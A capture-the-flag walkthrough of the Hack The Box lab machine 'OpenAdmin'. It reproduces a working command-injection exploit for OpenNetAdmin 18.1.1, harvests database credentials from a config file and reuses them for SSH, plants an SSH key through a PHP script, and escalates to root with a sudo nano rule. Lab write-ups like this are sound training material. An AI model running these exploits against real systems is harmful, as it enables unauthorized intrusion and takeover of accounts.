HTB OpenAdmin Walkthrough

Scanning and Enumeration

The target IP address is 10.10.10.171, so let’s run a port scanning to identify the services:

As you can see, two services are running: a SSH server and an HTTP one. Both of them appear to be updated, so probably the attack surface involves a web investigation through the web platform; let’s see.

A GET request for the main path of the HTTP server gives us back the default Apache page, so probably a directory guessing enumeration is required to discover other interesting locations. In order to do this, I use dirb and that’s the result:

So we actually discovered two web available locations: /artwork and /music.
Their screenshots are here below and show two simple static pages with no info inside, that only contain broken links. One of the music pages has got a reference to another location: /ona/.

Artwork home page Music home page

Ona stands for OpenNetAdmin and is the location of an homonymous web application that provides a database managed inventory of your IP network, collecting information about user’s network infrastructure and topology.

Main HTTP Service

Luckly, the login is not required and the guest account is the default one when entering in the application. Inside the main page there is an information box that notifies the user that the platform is not updated, so it’s probably affected by a well-known vulnerability. And after a fast research on exploit-db I found a working PoC to obtain a RCE on that platform version, which involves a command injection using a GET parameter.

1
2
3
4
5
6
7
8
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
#!/bin/bash

URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

At this point, I go for a shell upgrade using weevely to improve my capabilities in lateral moving:

Directly looking for the user.txt file containing the first flag, two users’ home directories are found: /home/joanna and /home/jimmy. The flag is probably inside one of these, but our web shell is executed with www-data privileges so that we cannot read inside of them. We need a privilege escalation, so let’s have a look around.
Running netstat to see which processes are listening on the host, a MySQL server instance pops up: it is only accessible from localhost probably because service configuration or firewall rules and makes us thinking that the web app stores data inside of it.
Furthermore, an additional TCP service appears to be listening on port 52846: it isn’t accessible from the outside and requires more investigation.

1
2
3
4
5
6
7
8
9
10
Active Internet connections (only servers)
Proto RecvQ SendQ Local Address Foreign Address State PID/Program name
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 19205/nc
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN
tcp 0 0 localhost:52846 0.0.0.0:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
udp 0 0 localhost:domain 0.0.0.0:*

Looking for database related files inside the web folder (/opt/ona/www/ is the directory that hosts it), we find an interesting configuration file: config/config.inc.php. Let’s have a look at its content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
require_once($conf['inc_functions_db']);

// Include the localized Database settings
$dbconffile = "{$base}/local/config/database_settings.inc.php";
if (file_exists($dbconffile)) {
if (substr(exec("php -l $dbconffile"), 0, 28) == "No syntax errors detected in") {
@include($dbconffile);
} else {
echo "Syntax error in your DB config file: {$dbconffile}<br>Please check that it contains a valid PHP formatted array, or check that you have the php cli tools installed.<br>You can perform this check maually using the command 'php l {$dbconffile}'.";
exit;
}
} else {
require_once($base.'/../install/install.php');
exit;
}

The code above shows at line 4 a reference to the database configuration file /local/config/database_settings.inc.php which contains the parameters used by the application to connect to the DBMS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>

So we’ve actually got potentially valid credentials to access the local DBMS and extract more information. After a fast manual test, we can look for users’ credentials using the proper weevely module:

1
2
3
4
5
ona_sys@localhost SQL> select * from ona_default.users
+---+-------+----------------------------------+---+---------------------+---------------------+
| 1 | guest | 084e0343a0486ff05530df6c705c8bb4 | 0 | 2020-01-12 19:57:57 | 2020-01-12 19:57:57 |
| 2 | admin | 21232f297a57a5a743894a0e4a801fc3 | 0 | 2020-01-12 19:56:45 | 2020-01-12 19:56:45 |
+---+-------+----------------------------------+---+---------------------+---------------------+

The hashes are easly reversable and the resulting credentials are:

  • guest:guest
  • admin:admin

None of them let me log in the SSH using the accounts retrived before, so they are useless: a rabbit hole.

SSH - Jimmy

After a while, I succeded in logging in the “jimmy” account via SSH simply using the same password used for MySQL.

1
2
3
4
5
┌─[user@parrot]─[~/OpenAdmin]
└──╼ $ sshpass -p n1nj4W4rri0R! ssh jimmy@10.10.10.171

Last login: Mon Jan 13 00:17:25 2020 from 10.10.15.226
jimmy@openadmin:~$

The jimmy’s home doesn’t contain the user flag file, but then I reminded I’d seen before a directory inside the /var/www/ path that was only accessible to it. It could be interesting to check out its content.
A fast ls -al reveals an internal/ directory containing three PHP files belonging to a different web platform:

  • index.php
  • main.php
  • logout.php

Trying to send an HTTP request to the TCP service running on the port 52846, we get a simple HTML page proving the existence of another web service.
Moreover, the content corresponds with the index one’s, so we’ve found the service content directory.

Internal HTTP Service

The index page actually contains a login form that checks the given credentials using a comparison between user data and statical strings inside the PHP code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';

if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container --

Reversing the SHA512 is actually useless considering that we’ve got writing permissions on that directory and we could directly change the files’ content in order to avoid checks, but it could help us later: jimmy:Revealed.


The main page is the most interesting one:

1
2
3
4
5
6
7
8
9
10
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

The shell_exec command makes us thinking that the process is run by the user joanna because it is supposed to have permissions to read the file /home/joanna/.ssh/id_rsa.
This means that every PHP file we write inside that path will be run by joanna and that it probably uses a public/private key authentication on SSH: let’s write an exploit to copy our public key inside its authorized_hosts file and log in with this account.

SSH - Joanna

This is the exploit I wrote:

1
2
3
4
<?php
$key = "<<MY PUBLIC KEY!!!>>";
echo shell_exec("echo $key >> /home/joanna/.ssh/authorized_keys");
?>

So I made a GET request to my script through curl via 52846 port and… done!
Let’s log in joanna account using our private key and get the user flag:

1
2
3
4
5
6
┌─[user@parrot]─[/media/user/data/OpenAdmin/exec]
└──╼ $ssh -i id_rsa joanna@10.10.10.171

Last login: Tue Jan 21 17:45:12 2020 from 10.10.15.19
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f

Privilege Escalation

Executing LinEnum didn’t help to find a way to have a root shell, but the solution was very easy:

1
2
3
4
5
6
7
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv

So, joanna is allowed to execute the command "/bin/nano /opt/priv" as root via sudo and we can simply read the /root/root.txt file using nano: